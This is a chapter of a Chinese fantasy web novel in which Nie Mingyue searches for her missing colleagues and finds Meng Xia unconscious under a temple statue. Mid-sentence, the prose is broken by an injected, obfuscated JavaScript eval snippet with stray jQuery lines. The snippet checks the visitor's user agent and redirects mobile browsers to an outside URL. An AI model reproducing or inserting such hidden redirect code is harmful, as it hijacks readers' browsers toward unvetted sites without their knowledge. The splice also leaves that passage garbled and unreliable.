人间行走指南:
【用劳动换取报酬,古往今来都适用,人和妖都需要工作来养活自己。】
-
这是个天气很好的周六下午,春日的阳光和暖,瓦蓝的天空零星飘着几朵纤细的云絮。
“真的很适合外出,比如去海边走走。”他想。此时他正站在住院部六楼病房的窗前,借站起来走动几步的那两三秒钟,让自己分了一下神。
他不想再应付她无止境的讲述,但又害怕她像上次那样陷入长久的沉默。
“如果你也有一个疯狂的母亲,”他转身说:“你也会像我一样,想去海边吧。你看多巧,林州有海,海泽也有海……”
她坐在沙发上,头发梳得平整光滑,在脑后盘了一个圆髻。但她总忍不住伸手去抚平那并不存在的发丝,直到再次崩溃成一个披头散发的妇人。
“刚才说到哪里了?”他问。
她食指和中指之间夹着一个老式纯铜旱烟斗,将烟管那头抵在侧额。那簇烟草从没点燃过,但她身上总有烟叶燃烧后的味道。
哦对了,多年未见,她也没有变老。他回忆了一下,从他还是个孩子的时候,她就是这副打扮和动作。
“他不是人……他半夜的时候,满脸都是长毛,伸出獠牙啃噬一切……”她躬起身,睁大眼,双手成爪对着他做了个吞食的表情:“他离开的前一个晚上,吞了一整扇门,木头渣都不吐……”
她又把手放在膝上,突然优雅起来:“我成亲那天,全城的人都到街上来了。我知道他们看的不是我,看的是我家招赘婿的派头。”
“这个,你已经说过了。”他保持耐心,慢慢引导:“上次你说他变成怪物之前,告诉你那家人在哪,然后呢?”
“我没撒谎。”她盯着他,直接站了起来:“他没说过一句真话,但我没撒谎。我不是都给你了吗?”她露出了不怀好意的笑:“你是他的儿子,你也成他一样的怪物了。”
她又慢慢走向他,一脸哀求的表情:“求求你,放了我……我是你的母亲呀……”房间里回荡着断断续续的悲戚哭声。
他们就这样面对面站着,下午的阳光从窗外打过来,把他的影子拉成了狰狞的形状。影子和光都投在她身上,仿佛成了她的舞台——演员脸上明暗分明,精致刺绣的戏服上,绣线隐隐泛着细碎的光。
她是林州城最端庄的闺秀,永远不会让自己有半毫失态,哪怕哭着,也是个优雅的妇人。
他其实怕她,怕她不带表情的脸,更怕她失控的表演。
幸运的是,她终于有反应了,她对他笑了,那笑容神秘又夸张:“父亲说,他再怎么变,也不敢对我不好,他有把柄在我手上。”
“他回来了,来找你了——”那语气带着幸灾乐祸,又蓦地表情一变,眼里全是对儿子的关怀和叮嘱:“他们马上到了,不要相信他……”
房门突然被推开,一个护士拿着药进来,对他说:“吃药啦。”
男人独自站在窗前,对着前方空荡荡的白墙,脸上露出了满意的笑容。
-
聂明月从机场出来,给孟夏打了个电话,一直无人接听,唐槐则是直接关机了。
她又联系计九崖,他正在明月山庄值班。他并不打算换个身份,或者撤去老年妆——自从他知道孙栖曾出现在他眼皮子底下后,回来就守在小区门口,这里会第一时间发现异常。
计九崖告诉聂明月,昨天他到一号公馆时,孟夏和唐槐正好出门,说要回公司加班整理什么资料,让他别等他们。
聂明月抬头看天,今天天气很好,才下午一点,她打算直接去望南街找他们,不能让同事们周六加班,她自己回去休息。
想到这里,她心情变得更好了,怪不得现在的人都要找一份工作,有了职业,就有了身份的认同感,连计九崖都打算继续当保安了。
她坐在车上,跃跃欲试地点开外卖软件,她要请他们喝奶茶!
她见过小前台手里握着带吸管的漂亮杯子,街上的年轻人们几乎人手一杯,她还没喝过奶茶呢!
-
到了望南街28号,小楼大门没关,前台上摆了一个漂亮的水晶花瓶,里面插着一把小黄花。
她笑,这一定是孟夏特意安排,等她回来的。
一楼没有人,她直接去了楼上孟夏的办公室,电脑还开着,却还是没人。
她心中升起疑惑,好像大家是突然有什么事离开的。
这时楼下传来了声音,她开心地跑到门外,扶着栏杆朝楼下大声说:“我回来啦!”
尤远志穿着一身外卖服,提着六杯奶茶,正抬头愣愣地看着她……
-
今天是尤远志第一天上班,也不知道孟夏用了什么法子,他的身份证三天就到了。孟夏说他没学历、没工作经验,要想养活自己,先从送外卖做起。于是他昨天下午就去离望南街最近的站点入了职。
他骑车还不太熟,就设置了只接一公里内的单。谁知道第一天就遇到周六,附近上班的人都放假了,终于等到了一单被他抢到了,还是他唯一熟悉的地址。
他以为是孟夏照顾他而专程下的单,结果送过来没见到人,面对突然出现的聂明月,让他不知道怎么办了。
他既怕她,又情不自禁想靠近她。
那不是男女之间的吸引,是她身上的气息,让他觉得亲近又舒服。但是初见时不慎入境的痛楚,又让他后怕。
聂明月站在他面前,他手足无措,连打招呼都不会了。
“这个……”他提起手里的奶茶袋子,问:“是……聂小姐点的吗?”
聂明月连忙接过来:“小远志,你也有工作啦!”没想到他适应得这么快,年轻人就是厉害呀。
尤远志紧张地点头,结结巴巴地说:“那个……那我就回去啦……”他转身想走,聂明月叫住了他。
“你知道孟夏和唐槐去哪里了吗?”她问。
“我昨天去面试的时候,见过他们回来。但是好像很匆忙,所以我也就没进来打扰他们。”
聂明月皱了皱眉,他们到底去哪了?
她又给阿金打去电话,倒是有人接了,结果是个男孩的声音:“妈妈在洗碗,阿姨您有什么事吗?”很有礼貌的样子。
她连忙说没事。她忘了阿金周末是不上班的,应该也不会知道孟夏的去向。
她有点着急了,城市这么大,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254169|149482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该去哪里找他们?
-
尤远志也觉得这件事不寻常。他放下手里的头盔,在骑手服的各个袋子里翻找东西,最后掏出一块不到手掌大小的罗盘来。
他问:“聂小姐,唐先生的生辰八字是多少?”聂明月一愣神,她还真的不知道。
他见聂明月被问住了,又走到前台,抽出一张打印纸,用笔在上面画出一个八卦图,并急速地计算着,很快八卦图的周边都写满了字。
他拿起纸,仔细端详后解释道:“本来这是用来寻人的‘八方走失图’,但是没有唐先生的信息,我只好临时又加了道寻妖符,不知道能不能好用。”
“……”聂明月沉默,寻妖符,只能是冲着孟夏去了。
他走到楼外,聂明月跟上去,罗盘指针在不断变化位置,他掐指算了一下,皱着眉头指向东边:“孟姐就在十里内,但是被困,无法动弹。”
果然出事了。聂明月冲到街上,又停下来,拿出手机查看地图,东边四公里的位置,她知道了!
她扭头对尤远志说了一句:“是镇海寺。我先走了!”她迈开腿向前跑去。
尤远志只见她突然加速,又瞬间身影消失,惊讶地张大了嘴。终于反应过来后,也骑着外卖车向镇海寺而去。
-
镇海寺周末本该香火鼎盛,但今天却出奇地大门紧闭。这里是没有修士常驻的,平常只有几位居士轮换着值守。
聂明月从出发到现身寺内,也就三五分钟。她顾不得行踪被人看到,直接进了第一殿。
这里是知客的工作台,用来做香烛灯油符纸的售卖及香客指引。一位身穿宽袍的居士趴在桌上,她探了一下,人还活着,便迅速前往第二殿。
二殿院内是石兽像的所在地,但此时,地上只有一堆散落的石像碎块,和雾状的血迹。
她蹲下来,用手指沾血,却已经干了。那血并不是人类的,上面有灵及火药的气息,香香出事了。
就算是火器也不可能伤到它,除非它被胁迫不能移动或还击。
香香跟着唐槐,唐槐跟着孟夏。如果孟夏就在寺内,现在又在哪里?
-
她闭上眼,亮出赤瞳,缓步走向第三殿。那里有一座神像,世人均以为那是一位海神,但其实是那位将军。她当年亲手将神像置于殿内,让他受万家香火供奉。
神像依然在,他脚下石座内,有一散落的黑影。赤瞳视物只看生灵本相,聂明月松了一口气,那是孟夏。
她收起赤瞳,转到神像背后,打开石座暗门,孟夏闭着眼睛,没了知觉。
她此时只恨自己枉有蛮力,不会法术。孟夏不是寻常的妖,她在脑中迅速搜寻能唤醒她的方法。
她终于想到,关临渊曾教她的驭气入门及五行的原理,于是尝试着运转周身气息,手心随即出现一团赤焰,围绕孟夏周身流转。
若有阅历的修士或妖灵看见那团赤焰,会惊讶于火之精纯强悍,控制之精准简洁。可是聂明月并不了解,她只期待施术有效果。
几息之后,孟夏终于有了反应。她睁开眼,见到是聂明月,挣扎着提气,张口勉力说出五个字:
“唐槐失踪了。”